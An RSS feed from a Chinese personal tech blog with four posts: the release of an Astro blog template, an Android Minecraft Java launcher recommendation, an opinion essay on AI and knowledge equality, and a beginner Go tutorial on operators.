<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/rss-style.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/"><channel><title>Chongxiの咖啡屋</title><description>Coffee, Code and Night. 在信息洪流之外，为思想留一张桌子。不追热点，只记录真正想留下的东西。</description><link>https://xice.cx/</link><language>zh_CN</language><atom:link href="https://xice.cx/rss.xml" rel="self" type="application/rss+xml"/><lastBuildDate>Fri, 22 May 2026 13:40:52 GMT</lastBuildDate><generator>Astro RSS</generator><item><title>我开源了我的孤星主题blog作为模板</title><link>https://xice.cx/posts/lonetrail/</link><guid isPermaLink="true">https://xice.cx/posts/lonetrail/</guid><description>把我的blog xice.cx 抽成独立模板开源了成了 Lonetrail</description><pubDate>Fri, 22 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;我的blog经历了三次大改变成了现在你看到的这样子，他跑在 &lt;a href=&quot;https://xice.cx&quot;&gt;xice.cx&lt;/a&gt; 上。&lt;/p&gt;
&lt;p&gt;要聊我的blog建站历程，最早可以追溯到hexo，当时用的是redefine，后来因为Astro更加新，于是迁移到了Astro用fuwari主题，后来发现主题越来越满足不了我的需求，便开始改，改着改着发现改出来的东西和原主题基本没啥关系了，干脆整个抽出来单独做了个模板，由于完全借鉴了明日方舟的莱茵生命和孤星，于是很直白的叫 Lonetrail&lt;/p&gt;
&lt;p&gt;代码在 &lt;a href=&quot;https://github.com/ChongxiSama/Lonetrail&quot;&gt;github.com/ChongxiSama/Lonetrail&lt;/a&gt;，MIT 许可，框架是Astro。&lt;/p&gt;
&lt;p&gt;因为我是学react的，自然而然部分复杂组件就用了React写，不过Astro原生语法还是用了很多的，不会出现0 Astro全React的情况&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;之前也想过换preact，但是感觉性能有点边际效应了，换了真没特别大提升&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;p&gt;最主要是把当前blog的 UI 层、布局、组件、配置体系抽了出来。去掉了我个人自己的定制逻辑，把到处硬编码的用户信息全部清掉，改成 &lt;code&gt;site.yml&lt;/code&gt; 一个文件配全局&lt;/p&gt;
&lt;p&gt;前后审了十多个目录、修了大几十处硬编码。现在改改配置就能直接用&lt;/p&gt;
&lt;h2&gt;功能&lt;/h2&gt;
&lt;p&gt;一个blog最基本该有的功能&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;部署&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/ChongxiSama/Lonetrail.git my-blog
cd my-blog
pnpm install
# 记得改 src/site.yml 和 astro.config.mjs
pnpm dev
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我个人更喜欢用pnpm，如果你有能力想用bun什么的，都开源了，随你&lt;/p&gt;
</content:encoded><category>blog</category><author>Chongxi</author></item><item><title>手机玩电脑Minecraft Java版教程</title><link>https://xice.cx/posts/BestMcLauncherOnAndroid/</link><guid isPermaLink="true">https://xice.cx/posts/BestMcLauncherOnAndroid/</guid><description>本文推荐了一个也许是目前最完美的Minecraft Java版在手机上跑的启动器</description><pubDate>Fri, 15 May 2026 22:41:27 GMT</pubDate><content:encoded>&lt;p&gt;以前在手机上启动Minecraft Java版基本用的是&lt;code&gt;PojavLauncher&lt;/code&gt;，不过可惜的是，这个启动器已在2025/09/24 停止更新并 &lt;code&gt;archived&lt;/code&gt; 了。目前想在手机(Android)跑电脑版Minecraft JE要用到一个继任者：&lt;code&gt;Fold Craft Launcher&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./home.png&quot; alt=&quot;Fold-Craft-Launcher-home-screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;FCL GitHub链接: &lt;a href=&quot;https://github.com/FCL-Team/FoldCraftLauncher&quot;&gt;FCL-Team/FoldCraftLauncher&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;也许是目前最完美的手机跑Minecraft JE启动器(当然仅限Android)&lt;/p&gt;
&lt;h2&gt;使用教程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;打开链接，找到release，下载对应架构的安装包(不知道选啥就下&lt;code&gt;armv8a&lt;/code&gt;或者&lt;code&gt;all&lt;/code&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;打开启动器，(&lt;em&gt;可选&lt;/em&gt; 登录正版账号)，点击左侧的云朵图标即可下载游戏/整合包，如果你在电脑用过HMCL或PCL2会很好上手，他们操作逻辑几乎都大差不差(下载慢的话可以试试科学上网)&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./dl1.jpg&quot; alt=&quot;Fold-Craft-Launcher-download-screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./dl2.jpg&quot; alt=&quot;Fold-Craft-Launcher-download-screenshot&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;下好游戏后，右下角点击启动游戏即可食用&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;买家秀&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./1.png&quot; alt=&quot;Fold-Craft-Launcher-screenshot&quot; /&gt;
&lt;img src=&quot;./2.png&quot; alt=&quot;Fold-Craft-Launcher-screenshot&quot; /&gt;
&lt;img src=&quot;./4.png&quot; alt=&quot;Fold-Craft-Launcher-screenshot&quot; /&gt;
&lt;img src=&quot;./5.png&quot; alt=&quot;Fold-Craft-Launcher-screenshot&quot; /&gt;
&lt;img src=&quot;./6.png&quot; alt=&quot;Fold-Craft-Launcher-screenshot&quot; /&gt;
&lt;img src=&quot;./7.png&quot; alt=&quot;Fold-Craft-Launcher-screenshot&quot; /&gt;
&lt;img src=&quot;./8.png&quot; alt=&quot;Fold-Craft-Launcher-screenshot&quot; /&gt;
&lt;img src=&quot;./9.png&quot; alt=&quot;Fold-Craft-Launcher-screenshot&quot; /&gt;
&lt;img src=&quot;./10.png&quot; alt=&quot;Fold-Craft-Launcher-screenshot&quot; /&gt;
&lt;img src=&quot;./11.png&quot; alt=&quot;Fold-Craft-Launcher-screenshot&quot; /&gt;&lt;/p&gt;
</content:encoded><category>Minecraft</category><author>Chongxi</author></item><item><title>AI 与 知识平权</title><link>https://xice.cx/posts/AIvsKnowledgEquality/</link><guid isPermaLink="true">https://xice.cx/posts/AIvsKnowledgEquality/</guid><description>AI 的出现被广泛寄予知识平权的期望，但这一判断需要从根本上重审</description><pubDate>Fri, 15 May 2026 17:15:13 GMT</pubDate><content:encoded>&lt;p&gt;个人认为，AI 本质上是一个更低获取代价的工具系数。它降低了专家级资源的物质门槛：以往需要钱或人才能获得的一对一，现在代价缩减，这是真实的进步，但它做的是乘法，不是avg&lt;/p&gt;
&lt;p&gt;乘法在于基数，基数是人，而非工具，基数是一个人对 AI 输出做出有效判断的最低知识阈值。以coding为例：不懂任何编程的人让 AI 写一个完整应用，得到的是无法评估修复的黑盒，结果全靠抽卡，而有基础的人让 AI 完成具体模块，出了问题能读懂能修。基数为零，系数再大，乘积还是零&lt;/p&gt;
&lt;p&gt;阈值因领域而异。这个阈值在不同领域之间存在数量级的差异。在以自然语言为输出、以生活常识即可评估的领域，如法律常识，医疗症状解释，行政流程，有效判断的门槛接近基础识字，avg在这些领域可能真的接近普遍。而这些恰好是传统上黑话最多信息最不平等的地方&lt;/p&gt;
&lt;p&gt;因此我判断：AI 在&quot;精英知识&quot;的维度上做乘法，放大了人与人之间的差距。在&quot;基础信息&quot;的维度上做平均，正在消解一些最古老普遍的信息剥削，两者并行不悖&lt;/p&gt;
&lt;p&gt;对于有主动学习意愿的人，AI 还能参与抬高基数本身。出错 追问 理解 再使用，这个循环是真实的螺旋上升。但螺旋的起点始终是人：你得愿意在出错时多问一句why，入场券是主观能动性，而这本身也不是平等分配的&lt;/p&gt;
&lt;p&gt;AI 的普惠效应还受到三个维度的制约：供给侧的基础设施差距尚未消除，山区基建差，AI 的门槛对他们根本没有降低。需求侧人与人之间的能力与意志差距始终存在。工具本身的质量不均等，且结构性地流向更强的人：能触达更好模型的人，往往已经具备更强的信息获取能力和付费意愿，豆包，deepseek，Claude等模型差距确实存在&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;但，更根本的问题在于，所谓知识平权作为一个系统性承诺，从一开始就被过度售卖了&lt;/p&gt;
&lt;p&gt;一个勤劳的人处于高成本环境，可能是 50×1＝50。一个懒惰的人处于低成本环境，可能是 1×50＝50。两者结果相同，路径完全不同。真正的飞跃只发生在主观能动性与优质环境共同发力的时候。知识平权的政策逻辑，本质上是在优化环境系数，却假装在解决人的问题，打地鼠罢了&lt;/p&gt;
&lt;p&gt;上层不是被动地受益于不平等，而是主动地生产和维护它。学历贬值了就卷名校，名校普及了就卷海外，AI 让更多人能写代码，竞争就转移到架构、判断力和taste，这些东西更难被工具化，更难被平权。每一次平权推进一步，壁垒就在更高处重建一次&lt;/p&gt;
&lt;p&gt;这个叙事之所以能持续流通，是因为它对各方都有用：它给互联网公司提供道德背书，给政策制定者提供抓手，给普通人提供希望。它的功能不是解题，而是给不平等一个可接受的解释框架，把结构性问题转化为个人问题，把权力博弈转化为教育议题&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&quot;平权不会发生&quot;确实难说，但不可否认的是 远比它被售卖的样子小 慢且局部，且始终面临结构性的反向力量&lt;/p&gt;
&lt;p&gt;AI 真实地消解着某些领域最古老的信息剥削，也真实地在更多地方加速着已有的分化。它没有改变人是决定性变量这一事实，也没有改变壁垒会持续重建这一机制。值得追求，但作为可实现的系统性终态，它在人类社会的结构中从未真正成立过&lt;/p&gt;
&lt;p&gt;AI 的出现，不会让它成立，只会让这件事更快变清，它是加速器，但加速器不考虑方向&lt;/p&gt;
</content:encoded><category>随笔</category><category>个人思考</category><author>Chongxi</author></item><item><title>Ch.08：Go的运算符</title><link>https://xice.cx/posts/ch08-Operators/</link><guid isPermaLink="true">https://xice.cx/posts/ch08-Operators/</guid><description>本文介绍了在Golang中的算术运算符</description><pubDate>Fri, 15 May 2026 15:19:39 GMT</pubDate><content:encoded>&lt;p&gt;运算符是程序里最基础的计算工具。本篇会把 Go 的所有运算符过一遍，重点放在和其他语言不同的地方&lt;/p&gt;
&lt;h2&gt;算术运算符&lt;/h2&gt;
&lt;p&gt;最基本的数学运算：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;运算符&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;加&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1 + 2 = 3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;减&lt;/td&gt;
&lt;td&gt;&lt;code&gt;5 - 3 = 2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;乘&lt;/td&gt;
&lt;td&gt;&lt;code&gt;3 * 4 = 12&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;除&lt;/td&gt;
&lt;td&gt;&lt;code&gt;10 / 3 = 3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;取余&lt;/td&gt;
&lt;td&gt;&lt;code&gt;10 % 3 = 1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;简单吧，但是除法要注意下&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;整数除法直接截断：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fmt.Println(10 / 3)    // 3，不是 3.333...
fmt.Println(10.0 / 3)  // 3.3333333333333335
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;两个整数相除，结果还是整数，小数部分直接丢掉。要得到小数结果，必须有一方是浮点数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a := 10
b := 3
fmt.Println(float64(a) / float64(b))  // 3.3333333333333335
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;取余的结果符号和被除数一致：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fmt.Println(10 % 3)    //  1
fmt.Println(-10 % 3)   // -1，结果是负数
fmt.Println(10 % -3)   //  1，结果是正数
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;取余结果的正负，跟被除数（左边那个数）一致，和除数（右边）无关&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;+&lt;/code&gt; 用于字符串拼接：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a := &quot;Hello&quot;
b := &quot;Go&quot;
fmt.Println(a + &quot;, &quot; + b + &quot;!&quot;)  // Hello, Go!
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;自增和自减&lt;/h2&gt;
&lt;p&gt;Go 有 &lt;code&gt;++&lt;/code&gt; 和 &lt;code&gt;--&lt;/code&gt;，但和其他语言有个重要区别：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a := 1
a++  // a = 2
a--  // a = 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Go 的 &lt;code&gt;++&lt;/code&gt; 和 &lt;code&gt;--&lt;/code&gt; 是语句，不是表达式，不能放在赋值右边：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a := 1
b := a++  // ❌ 报错
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也没有前置的 &lt;code&gt;++a&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;++a  // ❌ 报错
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;只有 &lt;code&gt;a++&lt;/code&gt; 和 &lt;code&gt;a--&lt;/code&gt;，而且只能单独成行。Go的设计去掉了 &lt;code&gt;i++ + ++i&lt;/code&gt; 这类让人困惑的写法&lt;/p&gt;
&lt;h2&gt;赋值运算符&lt;/h2&gt;
&lt;p&gt;基本赋值：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a := 10
a = 20  // 重新赋值
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;复合赋值，把运算和赋值合在一起：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a := 10
a += 5   // a = a + 5 = 15
a -= 3   // a = a - 3 = 12
a *= 2   // a = a * 2 = 24
a /= 4   // a = a / 4 = 6
a %= 4   // a = a % 4 = 2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;字符串也可以用 &lt;code&gt;+=&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;Hello&quot;
s += &quot;, Go!&quot;
fmt.Println(s)  // Hello, Go!
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;比较运算符&lt;/h2&gt;
&lt;p&gt;比较运算符的结果是布尔值 &lt;code&gt;true&lt;/code&gt; 或 &lt;code&gt;false&lt;/code&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;运算符&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;==&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;等于&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;!=&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;不等于&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;大于&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;小于&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;gt;=&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;大于等于&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;=&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;小于等于&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;fmt.Println(1 == 1)   // true
fmt.Println(1 != 2)   // true
fmt.Println(3 &amp;gt; 2)    // true
fmt.Println(3 &amp;lt; 2)    // false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;只有相同类型才能比较：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var a int = 1
var b int32 = 1
fmt.Println(a == b)  // ❌ 报错，int 和 int32 不同类型
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;必须转换成同一类型再比较：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fmt.Println(a == int(b))  // ✅ true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;字符串比较按字典序：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fmt.Println(&quot;abc&quot; == &quot;abc&quot;)  // true
fmt.Println(&quot;abc&quot; &amp;lt; &quot;abd&quot;)   // true，c &amp;lt; d
fmt.Println(&quot;abc&quot; &amp;gt; &quot;ab&quot;)    // true，更长的字符串更大
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;浮点数比较要小心：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a := 0.1 + 0.2
b := 0.3
fmt.Println(a == b)  // false，精度问题
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;浮点数不能直接用 &lt;code&gt;==&lt;/code&gt; 比较，应该判断差值是否足够小：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import &quot;math&quot;

diff := math.Abs(a - b)
fmt.Println(diff &amp;lt; 1e-9)  // true，认为相等
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;逻辑运算符&lt;/h2&gt;
&lt;p&gt;用于组合多个布尔条件：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;运算符&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;与，两边都为 true 才是 true&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true &amp;amp;&amp;amp; false = false&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;||&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;或，一边为 true 就是 true&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true || false = true&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;!&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;非，取反&lt;/td&gt;
&lt;td&gt;&lt;code&gt;!true = false&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;age := 20
hasID := true

// 成年且有证件
if age &amp;gt;= 18 &amp;amp;&amp;amp; hasID {
    fmt.Println(&quot;pass&quot;)
}

// 是管理员或者是超级用户
isAdmin := false
isSuperUser := true
if isAdmin || isSuperUser {
    fmt.Println(&quot;pass&quot;)
}

// 不是访客
isGuest := false
if !isGuest {
    fmt.Println(&quot;not guess&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;短路求值&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; 和 &lt;code&gt;||&lt;/code&gt; 都有短路特性：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// &amp;amp;&amp;amp; 左边是 false，右边不会执行
false &amp;amp;&amp;amp; someFunc()  // someFunc() 不会被调用

// || 左边是 true，右边不会执行
true || someFunc()   // someFunc() 不会被调用
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;利用这个特性可以避免空指针等问题：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 先检查 user 不为空，再访问 user.Name
if user != nil &amp;amp;&amp;amp; user.Name == &quot;admin&quot; {
    fmt.Println(&quot;是管理员&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果 &lt;code&gt;user&lt;/code&gt; 是 nil，&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; 短路，不会执行右边，就不会因为访问 nil 的字段而崩溃&lt;/p&gt;
&lt;h2&gt;位运算符&lt;/h2&gt;
&lt;p&gt;位运算直接操作二进制位，在处理权限、标志位、底层协议时很常用：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;运算符&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;按位与&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0101 &amp;amp; 0011 = 0001&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;|&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;按位或&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0101 | 0011 = 0111&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;^&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;按位异或&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0101 ^ 0011 = 0110&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;&amp;lt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;左移&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1 &amp;lt;&amp;lt; 3 = 8&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;右移&lt;/td&gt;
&lt;td&gt;&lt;code&gt;8 &amp;gt;&amp;gt; 1 = 4&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;^&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;按位清零（Go 特有）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0101 &amp;amp;^ 0011 = 0100&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;左移和右移&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;左移一位相当于乘以 2，右移一位相当于除以 2：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fmt.Println(1 &amp;lt;&amp;lt; 3)  // 8，1 × 2³
fmt.Println(8 &amp;gt;&amp;gt; 1)  // 4，8 ÷ 2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上一篇 iota 里定义文件大小就是用的左移：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const (
    _  = iota
    KB = 1 &amp;lt;&amp;lt; (10 * iota)  // 1024
    MB                      // 1048576
    GB                      // 1073741824
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;按位与用来检查标志位：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const (
    PermRead    = 1 &amp;lt;&amp;lt; iota  // 001
    PermWrite                // 010
    PermExecute              // 100
)

perm := PermRead | PermWrite  // 011，有读和写权限

// 检查是否有读权限
if perm &amp;amp; PermRead != 0 {
    fmt.Println(&quot;有读权限&quot;)
}

// 检查是否有执行权限
if perm &amp;amp; PermExecute != 0 {
    fmt.Println(&quot;有执行权限&quot;)
} else {
    fmt.Println(&quot;没有执行权限&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;^&lt;/code&gt; 按位清零，Go 特有&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;a &amp;amp;^ b&lt;/code&gt; 的意思是：把 b 中为 1 的位，在 a 中清零：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;perm := PermRead | PermWrite  // 011

// 去掉写权限
perm = perm &amp;amp;^ PermWrite      // 001
fmt.Println(perm &amp;amp; PermWrite != 0)  // false，写权限没了
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其他语言一般用 &lt;code&gt;a &amp;amp; ~b&lt;/code&gt; 实现同样效果，Go 的这个操作单独成一个运算符&lt;/p&gt;
&lt;h2&gt;运算优先级&lt;/h2&gt;
&lt;p&gt;当一个表达式里有多个运算符时，优先级决定计算顺序。Go 的优先级从高到低：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;优先级&lt;/th&gt;
&lt;th&gt;运算符&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;5（最高）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;*&lt;/code&gt; &lt;code&gt;/&lt;/code&gt; &lt;code&gt;%&lt;/code&gt; &lt;code&gt;&amp;lt;&amp;lt;&lt;/code&gt; &lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;amp;&lt;/code&gt; &lt;code&gt;&amp;amp;^&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;code&gt;+&lt;/code&gt; &lt;code&gt;-&lt;/code&gt; &lt;code&gt;|&lt;/code&gt; &lt;code&gt;^&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;code&gt;==&lt;/code&gt; &lt;code&gt;!=&lt;/code&gt; &lt;code&gt;&amp;lt;&lt;/code&gt; &lt;code&gt;&amp;lt;=&lt;/code&gt; &lt;code&gt;&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;gt;=&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1（最低）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;||&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;fmt.Println(2 + 3*4)    // 14，乘法优先
fmt.Println(2 &amp;gt; 1 &amp;amp;&amp;amp; 3 &amp;gt; 2)  // true，比较优先于 &amp;amp;&amp;amp;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;不要依赖优先级，用括号写清楚：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 不清晰
result := a + b * c &amp;gt;&amp;gt; 2 &amp;amp; mask

// 清晰
result := ((a + (b * c)) &amp;gt;&amp;gt; 2) &amp;amp; mask
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;优先级规则不用背，遇到不确定的就加括号，清晰又不易错&lt;/p&gt;
&lt;h2&gt;运算符的一些细节&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;^&lt;/code&gt; 在 Go 里有两个用途&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;作为二元运算符是按位异或：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fmt.Println(5 ^ 3)  // 6，0101 ^ 0011 = 0110
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;作为一元运算符是按位取反（其他语言一般用 &lt;code&gt;~&lt;/code&gt;）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var a uint8 = 5     // 00000101
fmt.Println(^a)     // 250，11111010
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;整数除法和取余的关系&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a, b := 10, 3
q := a / b  // 商 3
r := a % b  // 余数 1

// 验证：q*b + r == a 永远成立
fmt.Println(q*b+r == a)  // true
&lt;/code&gt;&lt;/pre&gt;
